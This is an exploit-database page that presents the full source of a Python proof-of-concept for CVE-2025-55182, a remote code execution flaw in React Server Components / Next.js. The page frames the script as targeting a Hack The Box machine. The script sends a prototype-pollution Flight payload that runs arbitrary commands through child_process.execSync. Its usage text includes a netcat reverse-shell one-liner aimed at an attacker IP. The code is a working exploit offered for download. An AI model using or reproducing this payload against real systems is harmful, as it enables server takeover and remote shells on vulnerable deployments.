Exploit database

GH-32ad02293fd5aed81bb84f13fca85132

akhmadkholmurodov/react2shell_exploit

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-55182

257 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
akhmadkholmurodov/react2shell_exploitRevision c1a31c4660d7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

react2Shell.py

Python · 2,554 bytes
#!/usr/bin/env python3
"""
CVE-2025-55182 - React Server Components RCE Exploit
Target: Next.js 15.0.3 (Reactor HTB)
Author: Adapted from public PoCs (whiteov3rflow, jedisct1)
"""
import requests
import sys

def exploit_rce(url, command):
    # Headers required for the Next.js Action endpoint
    headers = {
        "Host": "http://reactor.htb:3000",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        "Next-Action": "x",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
    }

    # The malicious Flight protocol payload
    # Uses prototype pollution ($1:__proto__:then) to access the Function constructor
    # and execute arbitrary system commands via child_process.execSync
    payload_json = (
        '{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,'
        '"value":"{\\"then\\":\\"$B1337\\"}","_response":{'
        f'"_prefix":"process.mainModule.require(\'child_process\').execSync(\'{command}\');",'
        '"_formData":{"get":"$1:constructor:constructor"}}}'
    )

    # Construct the multipart/form-data body
    data = (
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"0\"\r\n"
        "\r\n"
        f"{payload_json}\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
        "Content-Disposition: form-data; name=\"1\"\r\n"
        "\r\n"
        "\"$@0\"\r\n"
        "------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"
    )

    try:
        print(f"[*] Sending RCE payload to {url}...")
        print(f"[*] Command: {command}")
        
        # Send the POST request
        response = requests.post(url, headers=headers, data=data, timeout=10)
        
        print(f"[*] Status Code: {response.status_code}")
        if response.status_code == 200:
            print("[+] Payload delivered successfully. Check your listener if using a reverse shell.")
        else:
            print(f"[-] Unexpected response: {response.text[:200]}")
            
    except Exception as e:
        print(f"[!] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <TARGET_URL> <COMMAND>")
        print(f"Example: {sys.argv[0]} http://reactor.htb:3000 \"id\"")
        print(f"Reverse Shell: {sys.argv[0]} http://reactor.htb:3000 \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f\"")
        sys.exit(1)

    target_url = sys.argv[1]
    cmd = sys.argv[2]
    
    exploit_rce(target_url, cmd)